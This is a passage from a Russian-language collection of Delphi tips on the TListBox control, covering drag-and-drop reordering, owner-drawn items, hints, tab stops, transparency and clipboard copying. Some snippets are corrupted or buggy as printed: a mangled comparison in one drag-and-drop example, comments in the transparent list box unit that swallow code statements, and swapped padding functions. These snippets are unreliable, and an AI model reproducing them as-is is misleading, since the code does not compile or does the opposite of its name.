      Index := MaxIndex;
    Selected[Index] := True;
  end;
end;
// Пример использования:
procedure TForm1.Button1Click(Sender: TObject);
var
  Index: Integer;
begin
  Index := GetFirstSelection(listbox1);
  MoveSelected(listbox1, listbox2.Items);
  SetItem(listbox1, Index);
end;

Добавить новые строки в TListBox с прокруткой до конца.

Автор: BadBoy WEB-сайт: http://delphibase.endimus.com

procedure addmsg(str: string);
begin
  if str <> '' then
  begin
    ListBox.Items.Add(str);
    ListBox.Perform(LB_SETTOPINDEX, Pred(ListBox.Items.Count), 0);
  end;
end;

Выравнивание в ListBox.

Перед тем, как вычислить позицию фразы, необходимо с помощью функции TextWidth вычислить ее ширину.

var
  J, TempInt, LongPrefixLen, CurrPrefixLen: Integer;
begin
  {Вычисляем TextWidth по ключевой строке}
  {Устанавливаем CurrPrefixLen в TextWidth ключевого слова
  строки Indexth}
  LongPrefixLen := 0;
  for J := 0 to ListBox1.Items.Count - 1 do
    with ListBox1.Canvas do
    begin
      TempInt := TextWidth(Copy(Items[J], 1, Pos(KeyString, Items[J] - 1)));
      if LongPrefixLen < TempInt then
        LongPrefixLen := TempInt;
      if J = Index then
        CurrPrefixLen := TempInt;
    end;
  {PrevTextLeft - TextLeft = Где мы хотим вывести новый элемент}
  TextOut(LongPrefixLen - CurrPrefixLen, Y, Items[I]);
end;

Внешние данные и ListBox.

Автор: Peter Below Мне необходимо создать Listbox с использованием внешних данных, хранимых в огромном (!) TStringList. Существует ли какое-нибудь системное сообщение, которое я мог бы перехватывать для получения данных Listbox из внешнего TStringlist? Просматривая справочник по API, я нашел интересный пункт, который может помочь вам решить проблему: в Win32 вы можете создать Listbox со стилем LBS_NODATA: (из описания CreateWindow:) LBS_NODATA Определяет ListBox со стилем no-data (без данных). Данный стиль необходимо применять в случае, если количество элементов в ListBox превышает одну тысячу. no-data ListBox также должен иметь стиль LBS_OWNERDRAWFIXED, но не может иметь стиль LBS_SORT или LBS_HASSTRINGS. no-data ListBox похож на owner-drawn ListBox за исключением того, что он не содержит в своих элементах строк и изображений (иконок). Команды добавления, вставки или удаления данных в элементах такого типа ListBox будут проигнорированы, а запросы для поиска строк всегда будут заканчиваться неудачей. При необходимости отрисовки данного элемента, Windows посылает родительскому окну сообщение WM_DRAWITEM. Член itemID стуктуры DRAWITEMSTRUCT, передаваемой с сообщением WM_DRAWITEM, определяет номер строки (элемент), который должен быть перерисован. no-data ListBox не посылает сообщение WM_DELETEITEM. Количество элементов в таком списке вы можете установить с помощью сообщения LB_SETCOUNT. Это позволит вам создать "виртуальный" ListBox с очень небольшой загрузкой.

Чтобы воспользоваться новым стилем, вам нужно создать новый класс-наследник от TListbox и перекрыть метод CreateParams.

Быстрая отрисовка BitMap в компоненте TListBox.

Эту задачу можно решить разными способами, но в случае, когда изображение в списке должно меняться в зависимости от каких-то условий в режиме run-time, то встает вопрос о скорости перерисовки при скроллировании списка. Вот одно из возможных решений: создается компонент TImageList, который содержит весь необходимый набор изображений. И на событие TListBox.onDrawItem непосредственно на канве списка рисуется нужный BitMap самим TImageList. Метод TImageList.Draw работает очень быстро, так что при скролировании списка в несколько сотен записей замедление не заметно.

Примечание: В данном примере IMAGE_NORMAL, IMAGE_MESSAGE и IMAGE_AUTOANS константы, определяющие какое именно изображение надо рисовать в зависимости от значения функции (собственной) GetUserStatus.

procedure TMain.UserListDrawItem(Control: TWinControl; Index: Integer;
  Rect: TRect; State: TOwnerDrawState);
begin
  with TCustomListBox(Control) do
  begin
    Canvas.FillRect(Rect);
    // Вывод самого текста текущего Item-а списка со сдвигом, чтобы освободить
    // место для изображения
    Canvas.TextOut(Rect.Left + 2 + ImageList.Height, Rect.Top + 3,
      Items[Index]);
    Rect.Bottom := Rect.Top + ImageList.Height; // перерисовывать только
    Rect.Right := Rect.Left + ImageList.Width; // часть , на которой картинка
    Rect.Top := Rect.Top + 2;
    // по состоянию юзера перерисовывается изображение
    case GetUserStatus(Index) of
      suNormal: ImageList.Draw(Canvas, Rect.Left, Rect.Top, IMAGE_NORMAL);
      suMessage: ImageList.Draw(Canvas, Rect.Left, Rect.Top, IMAGE_MESSAGE);
      suAutoans: ImageList.Draw(Canvas, Rect.Left, Rect.Top, IMAGE_AUTOANS);
    end; // Case
  end; // With
end;

Поиск в списке любого слова или буквы.

Автор: Лагуткин Денис.

unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;
type
  TForm1 = class(TForm)
    ListBox1: TListBox;
    Edit1: TEdit;
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
  a: Integer = 0;
implementation
{$R *.dfm}
function UpCaseAll(x: string): string;
var
  b, w: integer;
  str: string;
begin
  for w := 1 to length(x) do
  begin
    b := ord(x[w]);
    case b of
      0..96: x[w] := chr(b);
      97..122: x[w] := UpCase(chr(b));
      123..183: x[w] := chr(b);
      184: x[w] := chr(168);
      185..223: x[w] := chr(b);
      224..255:
        begin
          b := b - (Ord('а') - Ord('А'));
          x[w] := chr(b);
        end;
    end;
    str := str + x[w];
  end;
  UpCaseAll := str;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
  st, st1: string;
  f, i: integer;
begin
  st := UpCaseAll(Edit1.Text);
  if st <> '' then
  begin
    for i := a to listbox1.Count - 1 do
    begin
      st1 := UpCaseAll(Listbox1.Items.Strings[i]);
      repeat
        f := POS(st, st1);
        if f <> 0 then
        begin
          Listbox1.ItemIndex := i;
          a := i + 1;
          exit;
        end;
      until f = 0;
    end;
    a := 0;
  end;
end;
end.

Как показать Hint для частично видимых элементов ListBox.

Статьи по Delphi (011)…

procedure TForm1.ListBox1MouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
const
  oldidx : Longint = -1;
var
  idx : Longint;
begin
  with Sender as TListBox do begin
    idx := ItemAtPos(Point(x,y),True);
    if (idx < 0) or (idx = oldidx) then Exit;
    Application.ProcessMessages; 
    Application.CancelHint;
    oldidx := idx;
    Hint := '';
    if Canvas.TextWidth(Items[idx]) > Width - 4 then Hint:=Items[idx];
  end;
end;

Или.

procedure TfmDWMain.lbSearchMouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
var
  ItemNum: Integer;
begin
  ItemNum := lbSearch.ItemAtPos(Point(X, Y), True);
  if (ItemNum <> HintRow) then
  begin
    HintRow := ItemNum;
    Application.CancelHint;
    if HintRow > -1 then
    begin
      HintString := lbSearch.Items[ItemNum];
      if (lbSearch.Canvas.TextWidth(HintString) <= lbSearch.ClientWidth - 25) then
        HintString := '';
    end
    else
      HintString := '';
  end;
end;
procedure TfmDWMain.OnShowHint(var HintStr: string;
  var CanShow: Boolean; var HintInfo: THintInfo);
begin
  if not (HintInfo.HintControl is TListBox) then Exit;
  with HintInfo.HintControl as TListBox do begin
    HintInfo.HintPos := lbSearch.ClientToScreen(Point(21,
      lbSearch.ItemRect(HintRow).Top + 1));
    HintStr := HintString;
  end;
end;

Изменение позиций элементов ListBox с помощью Drag and Drop.

Статьи по Delphi (011)…

procedure TForm1.ListBox1DragDrop(Sender, Source: TObject; X, Y: Integer);
begin
  with (Sender as TListBox) do
    Items.Move(ItemIndex,ItemAtPos(Point(x,y),True));
end;
procedure TForm1.ListBox1DragOver(Sender, Source: TObject; X, Y: Integer;
State: TDragState; var Accept: Boolean);
begin
  Accept := (Sender=Source);
end;

Не забудьте в ListBox присвоить свойству DragMode значение dmAutomatic.

Изменение позиций элементов ListBox с помощью Drag and Drop 2.

Автор: Nick Hodges (Monterey, CA) Я хотел бы изменить порядок следования элементов в неотсортированном списке ListBox методом drag&drop, т.е. просто перетаскивая их мышью на нужное место. Будет еще лучше, если при удержании кнопки мыши перетаскиваемый элемент визуально перемещал бы вверх или вниз сам список (для определения своего нового месторасположения) до тех пор, пока клавиша мыши не будет отпущена (как я понял, автоматическое скроллирование - В.О.).

Попробуйте для начала это:

unit Draglb;
interface
uses
  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
  Forms, Dialogs, StdCtrls;
type
  TDragListBox = class(TListBox)
  private
    { Private declarations }
  protected
    { Protected declarations }
  public
    { Public declarations }
    procedure DragOver(Sender, Source: TObject; X, Y: Integer; State:
      TDragState; var Accept: Boolean);
    procedure DragDrop(Sender, Source: TObject; X, Y: Integer);
    constructor Create(AOwner: TComponent); override;
    { Published declarations }
  end;
procedure Register;
implementation
procedure Register;
begin
  RegisterComponents('Custom', [TDragListBox]);
end;
constructor TDragListBox.Create(AOwner: TComponent);
begin
  inherited Create(AOwner);
  DragMode := dmAutomatic;
  OnDragDrop := DragDrop;
  OnDragOver := DragOver;
end;
procedure TDragListBox.DragOver(Sender, Source: TObject; X, Y: Integer;
  State: TDragState; var Accept: Boolean);
begin
  Accept := Source = Self;
end;
procedure TDragListBox.DragDrop(Sender, Source: TObject; X, Y: Integer);
var
  Value: Integer;
begin
  if Sender = Self then
  begin
    Value := Self.ItemAtPos(Point(x, y), True);
    if Value = -1 then
    begin
      Self.Items.Add(Self.Items[Self.ItemIndex]);
      Self.Items.Delete(Self.ItemIndex);
    end
    else
    begin
      Self.Items.Insert(Value {+ 1}, Self.Items[Self.ItemIndex]);
      Self.Items.Delete(Self.ItemIndex);
    end;
  end;
end;
end.

Чтобы заставить элемент перемещаться в позицию каждого элемента, вам необходимо сопоставлять область текущего элемента с текущим положения курсора мыши. Для организации автоматического скроллирования также необходимо вычислять текущие координаты курсора.

Изменение позиций элементов ListBox с помощью Drag and Drop 3.

Если вы хотите принимать перетаскиваемый объект, только если он представляет собой собственный элемент, то в обработчике OnDragOver вставьте строчку "Accept := Source=Sender;". Ниже приведен код, позволяющий сортировать элементы с помощью перетаскивания их мышкой внутри списка компонента. Вам также понадобится таймер для обеспечения функции автопрокручивания. Это означает, что при перетаскивании элемента в верхнюю часть списка, он при необходимости прокручивается вниз, дабы стали видны невидимые в верхней части списка элементы. Если вам не нужно такое поведение компонента, исключите из кода все строчки, имеющие отношение к таймеру, включая вторую строчку в обработчике события OnDragOver.

...
private
  { Private declarations }
  GoingUp: Boolean;
procedure TForm1.ListBox1DragOver(Sender, Source: TObject;
  X, Y: Integer; State: TDragState; var Accept: Boolean);
begin
  Accept := (Sender = Source) and
    (TListBox(Sender).ItemAtPos(Point(X, Y), False) >= 0);
  {устанавливаем таймер для автопрокрутки}
  if Accept then
    with Sender as TListBox do
      if Y > Height - ItemHeight then
      begin
        GoingUp := False;
        Timer1.Enabled := True;
      end
      else if Y > ItemHeight then
      begin
        GoingUp := True;
        Timer1.Enabled := True;
      end
      else
        Timer1.Enabled := False;
end;
procedure TForm1.ListBox1DragDrop(Sender, Source: TObject;
  X, Y: Integer);
var
  NuPos: Integer;
begin
  with Sender as TListBox do
  begin
    NuPos := ItemAtPos(Point(X, Y), False);
    if NuPos >= Items.Count then
      Dec(NuPos);
    Label1.Caption := Format('Перемещено из %d в %d',
      [ItemIndex, NuPos]);
    Items.Move(ItemIndex, NuPos);
    {выделяем перемещенный элемент}
    ItemIndex := NuPos;
  end;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
  with ListBox1 do
    if GoingUp then
      if TopIndex > 0 then
        TopIndex := TopIndex - 1
      else
        Timer1.Enabled := False
    else if TopIndex < Items.Count - 1 then
      TopIndex := TopIndex + 1
    else
      Timer1.Enabled := False;
end;
procedure TForm1.ListBox1EndDrag(Sender, Target: TObject;
  X, Y: Integer);
begin
  Timer1.Enabled := False;
end;

Изменение позиций элементов ListBox с помощью Drag and Drop 2.

Автор: Peter Donnelly

Вот еще одна вариация сабжа.

procedure TPickParty.PickListBMouseDown(Sender: TObject;
  Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
begin
  if Button = mbLeft then
    with Sender as TListBox do
    begin
      DraggedPM := ItemAtPos(Point(X, Y), True);
      if DraggedPM > l;
      = 0 then
        BeginDrag(False);
    end;
end;
procedure TPickParty.PickListBDragOver(Sender, Source: TObject; X,
  Y: Integer; State: TDragState; var Accept: Boolean);
begin
  if Source = PickListB then
    Accept := True;
end;
procedure TPickParty.PickListBDragDrop(Sender, Source: TObject; X, Y: Integer);
var
  NewIndex: integer;
begin
  NewIndex := PickListB.ItemAtPos(Point(X, Y), False);
  if NewIndex > PickListB.Items.Count - 1 then
    NewIndex := PickListB.Items.Count - 1;
  PickListB.Items.Move(DraggedPM, NewIndex);
  PickListB.ItemIndex := NewIndex;
end;

Проверка ситуации Выход За Границы Списка при нажатии правой кнопки на списке.

При нажатии правой кнопки на компоненте TListBox вызывается PopUpMenu, но все пункты этого меню должны быть применены к тому элементу в списке, на котором и была нажата кнопка. Этот элемент может не быть в данный момент текущим ( то есть выделенным) и вообще, правая кнопка может быть нажата на той части компоненты, где реальный список уже закончился. Данная задача может быть решена следующим образом:

Обрабатывается событие TListBox.onMouseDown.

procedure TMain.UserListMouseDown(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
var
  Point: TPoint;
  I: Integer;
const
  NoHit = -1;
begin
  if Button = mbRight then
  begin
    // Если нажата правая кнопка мыши, выяснить, не попал ли курсор
    // на элемент списка UserList
    Point.X := x;
    Point.Y := y;
    I := UserList.ItemAtPos(Point, True);
    if not (i = NoHit) then
    begin
      // курсор попал на элемент списка с номером i
      // принудительно назначаем его текущим, т.е. отмеченным
      UserList.ItemIndex := I;
      TListBox(Sender).PopUpMenu.AutoPopup := True;
    end
    else // курсор промахнулся , нет смысла активизировать меню
      TListBox(Sender).PopUpMenu.AutoPopup := False;
  end;
end;

Пример OwnerDraw для Listbox.

Статьи по Delphi (011)…

Автор: Neil

Вот пример обработчика OnDrawItem, выводящий английские гласные в красном цвете:

procedure TForm1.ListBox1DrawItem(Control: TWinControl; Index: Integer;
  Rect: TRect; State: TOwnerDrawState);
var
  S: string;
  N: Word;
  WasColor: TColor;
begin
  with Control as TListBox, Canvas do
  begin
    S := Items[Index];
    FillRect(Rect);
    MoveTo(Rect.Left + 2, Rect.Top);
    SetTextAlign(Canvas.Handle, TA_LEFT or TA_UPDATECP);
    WasColor := Font.Color;
    for N := 1 to Length(S) do
    begin
      case UpCase(S[N]) of
        'A', 'E', 'I', 'O', 'U': Font.Color := clRed;
      else
        Font.Color := WasColor;
      end;
      WinProcs.TextOut(Canvas.Handle, 0, 0, @S[N], 1);
    end;
  end;
end;

Обратите внимание на то, что для того, чтобы использовать стиль TA_UPDATECP (при котором каждый следующий вызов TextOut выводил текст в позиции, расположенной после предшествуюшей), необходимо использовать функцию API function TextOut (WinProcs.TextOut) вместо метода объекта Delphi Canvas TextOut.

Рисование картинок в TListBox.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ Create a TImage on your Formular and assign a bitmap }
 { Create a TListbox on your Formular }
 type
   TForm1 = class(TForm)
     ListBox1: TListBox;
     Image1: TImage;
     procedure FormCreate(Sender: TObject);
     procedure ListBox1DrawItem(Control: TWinControl; Index: Integer;
       Rect: TRect; State: TOwnerDrawState);
     procedure ListBox1MeasureItem(Control: TWinControl; Index: Integer;
       var Height: Integer);
   private
     {...}
   public
     {...}
   end;
 procedure TForm1.FormCreate(Sender: TObject);
 begin
   with ListBox1.Items do
   begin
     Clear;
     ListBox1.Style := lbOwnerDrawVariable;
     AddObject('Bitmap1', Image1.Picture.Bitmap);
     AddObject('Bitmap2', Image2.Picture.Bitmap);
     AddObject('Bitmap3', Image3.Picture.Bitmap);
   end;
 end;
 procedure CenterText(Cnv: TCanvas; Rect: TRect; S: string);
 var
    X, Y: Integer;
 begin
   X := (Rect.Right + Rect.Left - Cnv.TextWidth(S)) div 2;
   Y := (Rect.Bottom + Rect.Top - Cnv.TextHeight(S)) div 2;
   Cnv.TextOut(X, Y, S);
 end;
 procedure TForm1.ListBox1DrawItem(Control: TWinControl; Index: Integer;
   Rect: TRect; State: TOwnerDrawState);
 var
    Bitmap: TBitmap;
 begin
   with ListBox1 do
   begin
     Canvas.FillRect(Rect);
     if Items.Objects[Index] <> nil then
     begin
       Bitmap := Items.Objects[Index] as TBitmap;
       Canvas.BrushCopy(Bounds(Rect.Left + 2, Rect.Top + 2,
         Bitmap.Width, Bitmap.Height), Bitmap, Bounds(0, 0, Bitmap.Width,
         Bitmap.Height), Bitmap.Canvas.Pixels[0, Bitmap.Height - 1]);
     end;
     Rect.Left   := Rect.Left + Bitmap.Width + 4;
     Rect.Bottom := Rect.Top + Bitmap.Height + 4;
     CenterText(Canvas, Rect, Items.Strings[Index]);
   end;
 end;
 procedure TForm1.ListBox1MeasureItem(Control: TWinControl; Index: Integer;
   var Height: Integer);
 begin
   if Index = 0 then Height := Image1.Height + 4;
 end;

Выровнять текст в TListBox вправо.

Статьи по Delphi (011)…

procedure TForm1.FormCreate(Sender: TObject); 
begin 
  // Oder im Objektinspektor einstellen 
  // Or set in object inspector 
  ListBox1.Style := lbOwnerDrawFixed; 
end; 
procedure TForm1.ListBox1DrawItem(Control: TWinControl; Index: Integer; 
  Rect: TRect; State: TOwnerDrawState); 
var 
  l: Integer;  
  t: String; 
begin 
  with ListBox1 do 
  begin 
    Canvas.FillRect(Rect); 
    t := Items[Index];  
    l := Rect.Right - Canvas.TextWidth(t) - 1; 
    Canvas.TextOut(l, Rect.Top, t); 
  end; 
end; 
procedure TForm1.Button1Click(Sender: TObject); 
begin 
  ListBox1.Items.Add(Edit1.Text); 
end;

Навигация по выбранным элементам в ListBox.

Данный пример выводит сообщение для каждого элемента Listbox, выбранного пользователем.

procedure TForm1.Button1Click(Sender: TObject);
var
  Loop: Integer;
begin
  for Loop := 0 to Listbox1.Items.Count - 1 do
    if Listbox1.Selected[Loop] then
      ShowMessage(Listbox1.Items.Strings[Loop]);
end;

Колонки разной ширины в TListBox при помощи табулятора.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

procedure TForm1.Button1Click(Sender: TObject);
 const
   // The maximum number of Tabs 
  // Die Anzahl der maximal aufretenen Tabs eintragen 
  MAX_TABS = 4;
   Tab = #9;
 var
   Tabulators: array[0..MAX_TABS] of Integer;
 begin
   { Set the Tabulator Widths / Tabulatorweiten festlegen}
   Tabulators[0] := 70;
   Tabulators[1] := 120;
   Tabulators[2] := 100;
   Tabulators[3] := 80;
   Listbox1.TabWidth := 1;
   { Set the Tabulators / Tabulatoren setzen }
   SendMessage(ListBox1.Handle, LB_SETTABSTOPS, MAX_TABS, Longint(@Tabulators));
   { Add some Items / Items hinzufugen.}
   Listbox1.Items.Add('Peter' + Tab + 'Meier' + Tab + '1234-56' + Tab + 'Otzlingen');
   Listbox1.Items.Add('Johann Jones' + Tab + 'Krauter' + Tab + '123-45');
 end;

Скопировать строки TListBox в буфер обмена.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

uses
   Clipbrd;
 procedure ListBoxToClipboard(ListBox: TListBox;
   BufferSize: Integer;
   CopyAll: Boolean);
 var
   Buffer: PChar;
   Size: Integer;
   Ptr: PChar;
   I: Integer;
   Line: string[255];
   Count: Integer;
 begin
   if not Assigned(ListBox) then
     Exit;
   GetMem(Buffer, BufferSize);
   Ptr   := Buffer;
   Count := 0;
   for I := 0 to ListBox.Items.Count - 1 do
   begin
     Line := ListBox.Items.strings[I];
     if not CopyAll and ListBox.MultiSelect and (not ListBox.Selected[I]) then
       Continue;
     { Check buffer overflow }
     Count := Count + Length(Line) + 3;
     if Count = BufferSize then
       Break;
     { Append to buffer }
     Move(Line[1], Ptr^, Length(Line));
     Ptr    := Ptr + Length(Line);
     Ptr[0] := #13;
     Ptr[1] := #10;
     Ptr    := Ptr + 2;
   end;
   Ptr[0] := #0;
   ClipBoard.SetTextBuf(Buffer);
   FreeMem(Buffer, BufferSize);
 end;
 procedure ClipboardToListBox(ListBox: TListbox);
 begin
   if not Assigned(ListBox) then
     Exit;
   if not Clipboard.HasFormat(CF_TEXT) then
     Exit;
   Listbox.Items.Text := Clipboard.AsText;
 end;
 //Copy all items from Listbox1 to the clipboard 
procedure TForm1.Button1Click(Sender: TObject);
 begin
   ListBoxToClipboard(ListBox1, 1024, True);
 end;
 //Paste items in clipboard to Listbox2 
procedure TForm1.Button2Click(Sender: TObject);
 begin
   ClipboardToListBox(Listbox2);
 end;
 //Copy only selected items from Listbox1 to the clipboard 
procedure TForm1.Button3Click(Sender: TObject);
 begin
   ListBoxToClipboard(Listbox1, 1024, False);
 end;

Перенос строк из TListBox в TRichEdit.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

function RECharIndexByPos(RichEdit: TRichEdit; X, Y: Integer): Integer;
 var
   P: TPoint;
 begin
   P := Point(X, Y);
   Result := SendMessage(RichEdit.Handle, EM_CHARFROMPOS, 0, Longint(@P));
 end;
 procedure TForm1.RichEdit1DragOver(Sender, Source: TObject; X, Y: Integer;
   State: TDragState; var Accept: Boolean);
 var
   P: TPoint;
 begin
   // Check, if Source is ListBox1 
  Accept := Source = ListBox1;
   if GetCursorPos(P) then
     with RichEdit1 do
     begin
       // Get the Index from Mouse Position 
      P := ScreenToClient(P);
       SelStart := RECharIndexByPos(RichEdit1, P.X, P.Y);
       SetFocus;
     end;
 end;
 procedure TForm1.RichEdit1DragDrop(Sender, Source: TObject; X, Y: Integer);
 begin
   // finally insert text at mouse position 
  RichEdit1.SelText := ListBox1.Items[ListBox1.ItemIndex];
 end;

Прозрачный TListBox.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

unit TransparentListBox;
 (*
  *
  *  Written by Walter Irion (CIS 114254, 2455) after the THotSpot
  *  sample component that Arne Sch?pers presented in the German
  *  c''t magazine (issue 6/1996, pp. 286 ff.).
  *
  *  TTransparentListBox is far from being a universal solution:
  *  it does not prevent Windows'' scrolling mechanism from
  *  shifting the background along with scrolled listbox lines.
  *  Moreover, the scroll bar remains hidden until the keyboard
  *  is used to change the selection, and the scroll buttons
  *  become visible only when clicked.
  *
  *  To break it short: TTransparentListBox is only suitable
  *  for non-scrolling lists.
  *
  *  In fact it must be possible to write a listbox component
  *  that handles scrolling correctly. But my essays to intercept
  *  EM_LINESCROLL messages were fruitles, even though I tried
  *  subclassing via WndProc.
  *
  *  A solution for transparent TEdit and TMemo controls is
  *  introduced in issue 9/1996 of the c''t magazine, again
  *  by Arne Sch?pers. But these are outright monsters with
  *  wrapper windows to receive notification messages as well
  *  as so-called pane windows that cover the actual control''s
  *  client area and display its content.
  *
  *  Previous issues of the c''t magazine can be ordered from:
  *
  *    c''t-Kopierservice
  *    Helstorfer Str. 7
  *    30625 Hannover, Germany
  *
  *  They expect a crossed cheque amounting to DM 14,00
  *  to be included with your order, but I don''t know about
  *  international orders.
  *
  *)
 interface
 uses
   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
   StdCtrls;
 type
   TTransparentListBox = class(TListBox)
   private
     { Private declarations }
   protected
     { Protected declarations }
     procedure CreateParams(var Params: TCreateParams); override;
     procedure WMEraseBkgnd(var Msg: TWMEraseBkgnd); message WM_ERASEBKGND;
     procedure DrawItem(Index: Integer; Rect: TRect; State: TOwnerDrawState);
       override;
   public
     { Public declarations }
     constructor Create(AOwner: TComponent); override;
     procedure SetBounds(ALeft, ATop, AWidth, AHeight: Integer); override;
   published
     { Published declarations }
     property Style default lbOwnerDrawFixed;
     property Ctl3D default False;
     property BorderStyle default bsNone;
   end;
 procedure Register;
 implementation
 constructor TTransparentListBox.Create(AOwner: TComponent);
 begin
   inherited Create(AOwner);
   Ctl3D       := False;
   BorderStyle := bsNone;
   Style       := lbOwnerDrawFixed;  // changing it to lbStandard results 
  // in loss of transparency 
end;
 procedure TTransparentListBox.CreateParams(var Params: TCreateParams);
 begin
   inherited CreateParams(Params);
   Params.ExStyle := Params.ExStyle or WS_EX_TRANSPARENT;
 end;
 procedure TTransparentListBox.WMEraseBkgnd(var Msg: TWMEraseBkgnd);
 begin
   Msg.Result := 1;           // Prevent background from getting erased 
end;
 procedure TTransparentListBox.SetBounds(ALeft, ATop, AWidth, AHeight: Integer);
 var
   tlbVisible: Boolean;
 begin
   tlbVisible := (Parent <> nil) and IsWindowVisible(Handle);  // Check for 
  visibility
   if tlbVisible then ShowWindow(Handle, SW_HIDE);             // Hide-Move-Show 
  strategy...inherited SetBounds(ALeft, ATop, AWidth, AHeight);          // ... to prevent 
  background...if tlbVisible then ShowWindow(Handle, SW_SHOW);             // ... from 
  getting copied
 end;
 procedure TTransparentListBox.DrawItem(Index: Integer; Rect: TRect;
   State: TOwnerDrawState);
 var
   FoundStyle: TBrushStyle;
   R: TRect;
 begin
   FoundStyle := Canvas.Brush.Style;       // Remember the brush style 
  R := Rect;                                     // Adapt coordinates of drawing 
  rect...MapWindowPoints(Handle, Parent.Handle, R, 2);  // ... to parent''s coordinate 
  system
   InvalidateRect(Parent.Handle, @R, True);   // Tell parent to redraw the 
  item Position
   Parent.Update;                             // Trigger instant redraw 
  (required)
   if not (odSelected in State) then
   begin  // If an unselected line is being 
    handled
     Canvas.Brush.Style := bsClear;  //   use a transparent background 
  end
   else
   begin                          // otherwise, if the line needs to be 
    highlighted,
     Canvas.Brush.Style := bsSolid;  //   some colour to the brush is 
    essential
   end;
   inherited DrawItem(Index, Rect, State); // Do the regular drawing and give 
  component users...
   // ... a chance to provide an 
  OnDrawItem handler
   Canvas.Brush.Style := FoundStyle;  // Boy-scout rule No. 1: leave site as 
  you found it
 end;
 procedure Register;
 begin
   RegisterComponents('Samples', [TTransparentListBox]);
 end;
 end.

ListBox с графикой.

Статьи по Delphi (011)…

Вот пример кода. Вам необходимо установить свойство ListBox Style в lbOwnerDrawFixed. Затем в обработчике события DrawItem мы попытаемся нарисовать изображение (смотри описание события OwnerDraw в справке по Delphi).

unit Listemas;
interface
uses
  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
  Forms, Dialogs, StdCtrls;
type
  TLTemas = class(TForm)
    ListBox1: TListBox;
    procedure FormActivate(Sender: TObject);
    procedure ListBox1DrawItem(Control: TWinControl; Index: Integer;
      Rect: TRect; State: TOwnerDrawState);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  LTemas: TLTemas;
implementation
{$R *.DFM}
procedure TLTemas.FormActivate(Sender: TObject);
var
  Dibujo: TIcon;
begin
  with ListBox1.Items do
  begin
    Dibujo := TIcon.create;
    Dibujo.LoadFromFile('D:\Delphi\Projects\Delphi5\DelphiWorld\base\images\ico.ico');
    AddObject('Delphi World - программа для всех', Dibujo);
    Dibujo := TIcon.create;
    Dibujo.LoadFromFile('D:\Delphi\Projects\Delphi5\DelphiWorld\base\images\ico.ico');
    AddObject('Delphi World - самый большой сборник', Dibujo);
  end;
end;
procedure TLTemas.ListBox1DrawItem(Control: TWinControl; Index: Integer;
  Rect: TRect; State: TOwnerDrawState);
var
  Icon: TIcon;
  Offset: Integer; { ширина отступа текста }
begin
  with (Control as TListBox).Canvas do
    { рисуем на холсте элемента управления, не на форме }
  begin
    FillRect(Rect); { очищаем прямоугольник }
    Offset := 2; { обеспечиваем отступ по умолчанию }
    Icon := TIcon((Control as TListBox).Items.Objects[Index]);
      { получаем иконку для данного элемента }
    if Icon <> nil then
    begin
      Draw(Rect.Left + 1, Rect.Top + 2, TIcon((Control as
        TListBox).Items.Objects[Index]));
      Offset := Icon.width + 9;
        { добавляем четыре пикселя между иконкой и текстом }
    end;
    TextOut(Rect.Left + Offset, Rect.Top + 7, (Control as TListBox).Items[Index])
      { выводим текст }
  end;
end;
end.

Воспользуйтесь событием OnDrawItem объекта ListBox (или ComboBox, или др.). В его обработчике рисовать графику так же легко, как и писать текст. (Полное управление вы получите после того, как подключите к своей работе обработку события OnMeasureItem).

procedure ListDrawItem(Control: TWinControl; Index:
  Integer; Rect: TRect; State: TOwnerDrawState);
var
  BitMap: TBitMap;
begin
  {Здесь инициализируем Bitmap.... например, загружаем в него изображение}
  with (Control as TListBox).Canvas do
  begin
    FillRect(Rect);
    Draw(Rect.Left, Rect.Top, BitMap);
    TextOut(Rect.Left + 2 + BitMap.Width, Rect.Top,
      DstList.items.strings[index]); {DstList - имя списка}
  end;
end;

Включение табуляторов в Listbox.

Статьи по Delphi (011)…

unit TabsLBox;
{включение табуляторов в listbox}
interface
uses WinTypes, Classes, Controls, StdCtrls;
type
  TMyListBox = class(TListBox)
  protected
    procedure CreateParams(var Params: TCreateParams); override;
  end;
procedure register;
implementation
procedure register;
begin
  RegisterComponents('Samples', [TMyListBox]);
end;
procedure TMyListBox.CreateParams(var Params: TCreateParams);
begin
  inherited CreateParams(Params);
  Params.Style := Params.Style or LBS_USETABSTOPS;
end;
end.

Заполнение строки определенным символом до нужной длины.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

 function LeftPad(S: string; Ch: Char; Len: Integer): string;
 var
   RestLen: Integer;
 begin
   Result  := S;
   RestLen := Len - Length(s);
   if RestLen < 1 then Exit;
   Result := S + StringOfChar(Ch, RestLen);
 end;
 function RightPad(S: string; Ch: Char; Len: Integer): string;
 var
   RestLen: Integer;
 begin
   Result  := S;
   RestLen := Len - Length(s);
   if RestLen < 1 then Exit;
   Result := StringOfChar(Ch, RestLen) + S;
 end;
 {Beispiel / Example}
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   Edit1.Text := Rightpad(Edit2.Text, '-', 30);
 end;

Округление в меньшую сторону.

Автор: Dimka Maslov WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> «Округление» в меньшую сторону
Функция возвращает наибольшее число,
меньшее или равное Value, которое
без остатка делится на Divider
Зависимости: нет
Автор:       Dimka Maslov, mainbox@endimus.ru, ICQ:148442121, Санкт-Петербург
Copyright:   Dimka Maslov
Дата:        20 мая 2002 г.
***************************************************** }
function RoundPrev(Value, Divider: Integer): Integer;
